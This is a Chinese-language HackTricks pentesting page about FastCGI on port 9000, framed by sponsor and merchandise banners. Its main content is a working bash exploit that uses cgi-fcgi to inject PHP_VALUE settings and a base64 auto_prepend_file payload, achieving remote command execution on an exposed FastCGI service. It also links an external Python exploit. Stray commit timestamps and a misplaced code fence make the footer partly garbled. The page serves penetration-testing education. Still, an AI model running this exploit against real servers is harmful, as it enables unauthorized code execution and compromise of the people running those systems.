hacktricks/network-services-pentesting/9000-pentesting-fastcgi.md

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<details>
<summary><strong>从零到英雄学习AWS黑客攻击通过</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong></strong></summary>
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支持HackTricks的其他方式
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* 如果您想在**HackTricks中看到您的公司广告**或**下载HackTricks的PDF**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
* 获取[**官方PEASS & HackTricks商品**](https://peass.creator-spring.com)
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs系列**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**telegram群组**](https://t.me/peass)或在**Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
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</details>
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# 基本信息
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如果您想了解什么是FastCGI请查看以下页面
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{% content-ref url="pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-php-fpm-fastcgi.md" %}
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[disable\_functions-bypass-php-fpm-fastcgi.md](pentesting-web/php-tricks-esp/php-useful-functions-disable\_functions-open\_basedir-bypass/disable\_functions-bypass-php-fpm-fastcgi.md)
{% endcontent-ref %}
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默认情况下,**FastCGI**运行在**端口** **9000**上并且不被nmap识别。**通常**FastCGI只在**localhost**监听。
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# RCE
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让FastCGI执行任意代码相当容易
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```bash
#!/bin/bash
PAYLOAD="<?php echo '<!--'; system('whoami'); echo '-->';"
FILENAMES="/var/www/public/index.php" # Exisiting file path
HOST=$1
B64=$(echo "$PAYLOAD"|base64)
for FN in $FILENAMES; do
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OUTPUT=$(mktemp)
env -i \
PHP_VALUE="allow_url_include=1"$'\n'"allow_url_fopen=1"$'\n'"auto_prepend_file='data://text/plain\;base64,$B64'" \
SCRIPT_FILENAME=$FN SCRIPT_NAME=$FN REQUEST_METHOD=POST \
cgi-fcgi -bind -connect $HOST:9000 &> $OUTPUT
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cat $OUTPUT
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done
```
```markdown
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或者您也可以使用以下Python脚本[https://gist.github.com/phith0n/9615e2420f31048f7e30f3937356cf75](https://gist.github.com/phith0n/9615e2420f31048f7e30f3937356cf75)
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<details>
<summary><strong>从零开始学习AWS黑客技术成为</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong></strong></summary>
2022-04-28 16:01:33 +00:00
支持HackTricks的其他方式
2022-04-28 16:01:33 +00:00
* 如果您希望在**HackTricks中看到您的公司广告**或**下载HackTricks的PDF版本**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
* 获取[**官方的PEASS & HackTricks商品**](https://peass.creator-spring.com)
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs系列**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**telegram群组**](https://t.me/peass)或在**Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
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</details>
```